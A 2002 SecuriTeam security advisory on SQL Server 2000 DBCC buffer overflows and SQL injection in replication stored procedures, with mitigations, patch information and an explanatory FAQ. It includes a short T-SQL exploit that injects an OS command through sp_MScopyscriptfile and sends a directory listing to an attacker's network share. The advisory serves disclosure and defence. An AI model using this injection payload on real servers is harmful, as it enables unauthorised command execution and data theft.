[NT] SQL Server 2000 Buffer Overflows and SQL Injection Vulnerabilities

From: support@securiteam.com
Date: 07/26/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Fri, 26 Jul 2002 14:07:30 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  SQL Server 2000 Buffer Overflows and SQL Injection Vulnerabilities
------------------------------------------------------------------------

SUMMARY

Database Consistency Checkers (DBCCs) are command console utilities that
allow maintenance and other operations to be performed on a SQL Server,
some of the DBCC functions are vulnerable to buffer overflows. The
exploitation of these vulnerabilities could enable an attacker to run code
in the context of the SQL Server service.

Other stored procedures, such as those used in database's replication
process are vulnerable to SQL injection. The exploitation of these
vulnerabilities enables an attacker to run OS commands with xp_cmdshell's
security context (usually SYSTEM).

DETAILS

Vulnerable systems:
 * SQL Server 2000 with all Service Packs
 * SQL Server 7.0 (not all vulnerabilities)
 * Microsoft Desktop Engine (MSDE) 2000

The following DBCC functions contain unchecked buffers:
DBCC ADDEXTENDEDPROC ('xp_storedproc','XXX...') (a)
DBCC INDEXFRAG ('','XXX...') (b)
DBCC UPDATEUSAGE ('','XXX...') (c)
DBCC CHECKCONSTRAINTS ('XXX...') (c)
DBCC SHOWCONTIG ('XXX...') (d)
DBCC CLEANTABLE ('','XXX...') (d)
(a) Only members of sysadmin fixed server role can run this command.
(b) Only members of sysadmin fixed server role, db_owner or db_ddladmin
fixed database role can run this command.
(c) Only members of sysadmin fixed server role ordb_owner fixed database
role can run this command.
(d) All users can run this command.

NOTE: The buffer overflow in DBCC ADDEXTENDEDPROC affects SQL Server 7.0
too.

Sp_MScopyscriptfile stored procedure is one of several stored procedures
vulnerable to SQL Injection. Sp_MScopyscriptfile creates a directory in
the SQL Server's replication directory and then copies a script file into
it. One of its input parameter is @scriptfile, this holds the name of the
script file to be copied. In that parameter, OS commands can be injected
and then caused to be executed by xp_cmdshell.

---Code snip of sp_MScopyscriptfile stored procedure where the injection
occurs---
select @cmd = N'copy "' + @scriptfile + N'" "' +
@directory + N'"'
exec @retcode = master..xp_cmdshell @cmd, NO_OUTPUT

----End code snip-----

SQL Server Agent Proxy account must be enabled to successful exploit these
SQL Injection vulnerabilities and is not enabled by default.

Exploit:
declare @command varchar(100)
declare @scripfile varchar(200)
set concat_null_yields_null off
select @command='dir c:\ > "\\attackerip\share\dir.txt"'
select @scripfile='c:\autoexec.bat > nul" | ' + @command + ' | rd "'
exec sp_MScopyscriptfile @scripfile ,''

Mitigating factors:
Buffer Overrun Vulnerability in Database Consistency Checkers:
 * Both the db_owner and db_ddladmin roles carry with them significant
privileges, and only should be granted to trusted users.
 * This allows the user to escalate privileges to the level of the service
account. In addition, this escalation would be minimal if best practices
were followed and SQL were installed as a normal domain account.

SQL Injection Vulnerability in Replication Stored Procedures:
 * Exploiting the vulnerability would, at a minimum, require that the
attacker have the ability to log onto the server interactively. However,
best practices strongly militate against giving such permissions to
untrusted users.
 * Simply being able to run the affected stored procedures would not
enable an attacker to exploit the vulnerability. As discussed in the FAQ,
the vulnerability could only be exploited if the administrator had
previously enabled the SQL Server Agent Proxy account. By default, this
account is disabled.
 * Even when enabled, the SQL Server Agent Proxy account has by default
only the privileges associated with a domain user. If administrators
follow best practices, it is likely that any user who could exploit the
vulnerability would already have this level of privilege.

Patch availability:
Download locations for this patch
 * SQL Server 2000:
    <http://support.microsoft.com/support/misc/kblookup.asp?id=Q316333>
http://support.microsoft.com/support/misc/kblookup.asp?id=Q316333

What vulnerabilities are eliminated by this patch?
This patch eliminates two newly reported security vulnerabilities
affecting SQL Server 2000:
 * A vulnerability affecting a collection of console commands known as
Database Consistency Checkers, and which could enable an already
privileged user to gain additional privileges.
 * A vulnerability that could, under under non-default conditions, allow
an attacker to execute operating system commands on a SQL Server.

Is this patch cumulative?
This patch does supersede all previously released security patches
involving the SQL Server 2000 database engine. However, applying this
patch is not sufficient by itself to fully secure a SQL Server 2000
server:
 * One security fix for SQL Server 2000, discussed in Microsoft Security
Bulletin MS02-035, requires remediation via a tool rather than a patch.
The tool only needs to be run one time, so customers who have previously
run it do not need to take additional action. However, installing this
patch does not cause the tool to be run.
 * The patch does not include any fixes for security vulnerabilities
involving the Microsoft Data Access Components (MDAC) or Online Analytic
Processing (OLAP) technologies for SQL Server. The patches for these
issues (listed in the Caveats section below) must be applied separately.

The Affected Versions section says that Microsoft Desktop Engine (MSDE) is
also affected by these vulnerabilities. What is MSDE?
Microsoft Desktop Engine (MSDE) is a database engine that was built and
based on SQL Server 2000 technology, and which ships as part of several
Microsoft products, including Microsoft Visual Studio and Microsoft Office
Developer Edition. There is a direct connection between versions of MSDE
and versions of SQL Server. MSDE 2000 is based on SQL Server 2000.

Buffer Overrun Vulnerability in Database Consistency Checkers:
What's the scope of this vulnerability?
Several utilities provided as part of SQL Server 2000 contain
buffer-overrun vulnerabilities. The scope of the vulnerabilities is
identical in all cases, and could enable an attacker to gain complete
control over a database.

The vulnerabilities share several significant mitigating factors. First,
in order to exploit any of the vulnerabilities, the attacker would need to
already possess significant privileges over the database. Second, in most
cases the attacker could not use the vulnerability to gain privileges over
the system itself, and could instead only gain privileges with SQL Server.

What causes the vulnerability?
The vulnerability results because several of the Database Consistency
Checker (DBCC) utilities provided as part of SQL Server 2000 contain
unchecked buffers in the sections of code that handle user inputs.

What are DBCCs?
DBCCs are utility programs provided as part of SQL Server 2000. Their
purpose is to provide database administrators with an easy way to perform
common housekeeping tasks. For instance, DBCCs are available to defragment
databases, repair minor errors, show usage statistics, and so forth. A
complete listing of the DBCCs available as part of SQL Server 2000 is
included in the SQL Server 2000 online help facility.

Who can execute DBCCs?
Database administrators can of course execute DBCCs since they have
complete control over the server. In addition, users who have been
assigned either the db_owners or db_ddladmin fixed server roles can
execute one or more DBCCs.

What's a fixed server role?
Fixed server roles in SQL Server are analogous to user groups in Windows.
Privileges are allocated based on fixed server roles, and administrators
regulate the actions that users can take on a SQL database by adding or
removing roles to specific users.

The db_owner role has complete control over a database, but does not have
administrative control over SQL Server itself. The db_ddladmin role,
although also an administrative role, has even fewer privileges than the
db_owner role. Dl_ddladmin members can execute & administer Data
Definition Language statements on a database, thereby allowing them to
create tables and views, but they do not have any broader privileges on
the database or server.

What's wrong with the DBCCs that ship with SQL Server 2000?
Several of the DBCCs do not properly check input parameters before using
them. If a user executed one of the affected DBCCs using an especially
malformed parameter, it would be possible to overrun a buffer within the
DBCC.

What could this vulnerability enable an attacker to do?
An attacker who had the ability to run a DBCC could use the vulnerability
for either of two purposes.
 * By overrunning the buffer with random data, the attacker could cause
the SQL Server service to fail.
 * By overrunning it with carefully chosen data, the attacker could modify
the DBCC to take actions of the attacker's choosing and execute code in
the context of the account SQL server is running as.

Who could exploit this vulnerability?
Only users who have the ability to run DBCCs could exploit the
vulnerability. As discussed above, only system administrators and users
who have been granted the db_owner or db_ddladmin roles can do this.
Administrators, of course, already have full control over SQL Server, so
the vulnerability would not provide them with any new privileges. However,
the vulnerability would provide a way for a db_owner or a db_ddladmin to
gain additional privileges.

I thought the db_owner and db_ddladmin roles already had administrative
privileges. Why does this represent a security vulnerability?
The db_owner and db_ddladmin roles are indeed privileged. However, in both
cases they grant privileges only over a single database. If there are
multiple databases hosted on the server, a user with db_owner or
db_ddladmin privileges on one database should not necessarily have
privileges on another database on the server.

In contrast, the SQL Server service account has privileges on all
databases hosted on the server. The buffer overruns are security
vulnerabilities because, through them, a db_owner or a db_ddladmin could
gain the privileges of the SQL Server itself, thereby gaining complete
control over all databases hosted on the server.

Would the vulnerability enable the attacker to gain control over the
entire machine?
Not under default conditions. By default, the SQL Server service is
configured with only Windows domain user privileges. In most cases, a
db_owner or db_ddladmin would already have domain user privileges, so the
vulnerability would not provide a way to gain operating system privileges.
Of course, if the system administrator configured the SQL Server service
to run with higher privileges, the vulnerability would pose a
commensurately higher risk.

If the attacker used the vulnerability to cause the SQL Server service to
fail, what would be needed in order to restore normal operation?
The SQL Server administrator could restore normal operation by restarting
the SQL Server service.

Does this vulnerability affect SQL Server 7.0?
No. Although SQL Server 7.0 did include DBCCs, none of them is affected by
the vulnerabilities.

What does the patch do?
The patch eliminates the vulnerability by instituting proper buffer
checking in the affected DBCCs.

SQL Injection Vulnerability in Replication Stored Procedures:
What's the scope of this vulnerability?
Several stored procedures that are provided as part of SQL Server 2000
contain a vulnerability that could provide a way for an attacker to
execute operating system commands on a database server, if a particular
user account had been created by an administrator prior to the attack.

The vulnerability is subject to two important constraints:
 * Neither of the stored procedures affected by the vulnerability should
be accessible to unprivileged users, if best practices have been followed.
One of the programs can only be run by users who already significant
administrative privileges on the system; the other can only be run by user
who can log onto the SQL Server interactively.
 * Simply being able to run one of the two stored procedures containing
the vulnerability isn't enough to allow an attacker to exploit it. The SQL
server agent proxy account would need to have been enabled by the
administrator. By default, the account is disabled.

What causes the vulnerability?
The vulnerability results because two stored procedures in SQL Server 2000
associated with replication are vulnerable to SQL injection attacks.

What are stored procedures?
A stored procedure in SQL Server is analogous to a script or a macro in
other contexts. They consist of collections of commands that can be
executed as a unit. SQL Server ships with a variety of stored procedures;
in this case, two replication-stored procedures that ship with SQL Server
2000 are vulnerable

What is replication?
Replication is a set of technologies that allow you keep copies of the
same data on multiple sites. For instance, a geographically dispersed
company might need to have copies of its personnel database hosted on
servers located in various branch offices, in order to ensure high
availability and performance. However, it would be important to ensure
that any changes made by one office were reflected in the other offices'
database as well. Replication is the process by which this happens. MSDN
hosts a detailed description of how replication in SQL Server works.

What's wrong with the Replication Stored Procedures in SQL Server 2000?
Two of the stored procedures in SQL Server 2000 associated with
replication contain SQL Injection vulnerabilities.

What's a SQL Injection vulnerability?
The easiest way to explain SQL Injection is via a scenario. Suppose a web
site created an application for allowing visitors to the site to search an
online database for particular words. Further, suppose that the
application operated by simply taking whatever input a user provided,
inserting it into a database query, and running the query. In some cases,
it could be possible for an attacker to provide SQL statements instead of
text, with the result that when the web application ran its query, the
attacker's commands would be executed as well. Such a vulnerability is
known as SQL Injection vulnerability.

SQL Injection vulnerabilities typically occur when a program does not
properly validate its inputs before using them. That is exactly the case
for the two stored procedures at issue here - they do not check for the
presence of SQL commands within input values, and instead blindly insert
whatever input they are provided.

Who can execute the two stored procedures that contain the flaw?
One of the stored procedures can only be executed by users who either are
database administrators or are members of the db_owner fixed database
role. The other should require the same level of privilege, but due to an
error in the permissions actually could be executed by any user who can
log onto the server interactively.

However, there is an important additional factor to keep in mind. It is
not enough to be able to execute one of the stored procedures. In order to
actually exploit the vulnerability, the administrator would need to have
previously enabled the SQL Server Agent Proxy account.

What's the SQL Server Agent Proxy account, and what does it do?
The SQL Server Agent Proxy account is a special-purpose user account used
by SQL server agent and xp_cmdshell when executing jobs or commands for
users who are not members of the sysadmin role. The account is disabled by
default, and can only be enabled by an administrator. Even when enabled,
it only runs with the privileges the administrator has configured it with.
Of course, if best practices have been followed, these should be low
privileges.

What would this vulnerability enable an attacker to do?
If the SQL Server Agent Proxy account had been left in its default state
(disabled), the vulnerability would not be exploitable. If the account had
been enabled, the vulnerability would enable an attacker to execute either
of the two stored procedures to carry out a SQL Injection attack and run
either SQL or operating system commands on the server.

Does this vulnerability affect SQL 7.0?
No. The stored procedures that contain the vulnerability did not exist in
SQL 7.0.

How does the patch eliminate the vulnerability?
The patch eliminates the vulnerability through two means. First, it adds
code to the stored procedures to ensure that input is properly validated
before using them. Second, it sets the correct permissions on the affected
SP's so that they are not available to authenticated users by default.

ADDITIONAL INFORMATION

The information has been provided by <mailto:cesarc56@yahoo.com> Cesar
Cerrudo.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages